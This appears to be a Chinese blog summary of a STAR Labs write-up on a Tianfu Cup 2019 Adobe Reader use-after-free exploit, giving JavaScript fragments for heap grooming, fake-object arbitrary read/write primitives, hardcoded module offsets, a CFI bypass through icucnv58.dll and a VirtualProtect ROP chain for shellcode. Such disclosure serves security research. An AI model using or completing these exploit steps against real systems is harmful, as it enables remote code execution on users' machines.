天府杯2019:Adobe Reader漏洞利用与代码执行技术解析

本文详细分析了天府杯2019中Adobe Reader的JSObject释放后重用漏洞,涵盖任意读写原语构建、代码执行获取及控制流完整性绕过技术,通过堆喷和类型数组操作实现稳定利用。

天府杯2019:Adobe Reader漏洞利用 | STAR Labs

漏洞分析

该漏洞位于EScript.api组件中,这是JS API调用的绑定层。首先创建Sound对象数组:

1
2
3
4
5
6
SOUND_SZ     = 512
SOUNDS       = Array(SOUND_SZ)
for(var i=0; i<512; i++) {
    SOUNDS[i] = this.getSound(i)
    SOUNDS[i].toString()
}

Sound对象内存布局显示,第二个双字是指向JSObject的指针,包含元素、插槽、形状和字段等。关键发现是JSObject不在堆上,而是位于Adobe Reader启动时VirtualAlloc分配的内存区域,且释放后内容不会被清除。

任意读写原语构建

通过currentValueIndices函数调用ESObjectCreateArrayFromESVals创建新数组:

1
2
3
4
5
6
7
f = this.addField("f" , "listbox", 0, [0,0,0,0]);
t = Array(32)
for(var i=0; i<32; i++) t[i] = i
f.multipleSelection = 1
f.setItems(t)
f.currentValueIndices = t
for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices

利用释放的Sound对象和密集数组,通过TypedArray重新分配元素缓冲区,注入伪造的Javascript对象:

1
2
3
4
5
6
for(var i=0; i<NOBJ; i++) {
    SOUNDS[i] = null
    gc()
    for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
    // 验证回收是否成功
}

通过伪造字符串对象和类型数组,建立任意读取和写入原语:

1
2
3
4
5
6
7
8
9
function myread(addr) {
    DV.setUint32(4, addr, true)
    return s2h(T[2])
}

function mywrite(addr, val) {
    DV.setUint32(96, addr, true)
    T[3][0] = val
}

获取代码执行

泄露EScript.API基地址,利用其中的VirtualAlloc调用gadget:

1
ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0

泄露AcroForm.API基地址和CTextField对象地址,通过堆遍历找到虚函数表:

1
ACROFORM_BASE = vftable-0x07A55BC

绕过CFI

由于CFI启用,无法使用ROP。发现icucnv58.dll未启用CFI:

1
2
3
import pefile
import os
# 遍历模块检查CFI状态

泄露icucnv58.dll基地址,利用其内部gadget进行栈转换和ROP:

1
2
ICU_BASE = myread(ACROFORM_BASE+0xBF2E2C)
g1 = ICU_BASE + 0x919d4 + 0x1000  // mov esp, ebx ; pop ebx ; ret

最终步骤

写入shellcode并调用VirtualProtect启用执行权限:

1
2
3
4
5
6
7
8
9
rop = [
    myread(ESCRIPT_BASE + 0x01B0058),  // VirtualProtect
    GUESS+0x120,  // 返回地址
    GUESS+0x120,  // 缓冲区
    0x1000,       // 大小
    0x40,         // 新保护
    GUESS-0x20    // 旧保护
]
for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))

最终成功生成计算器进程,利用成功率达80%,平均耗时3-5秒。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计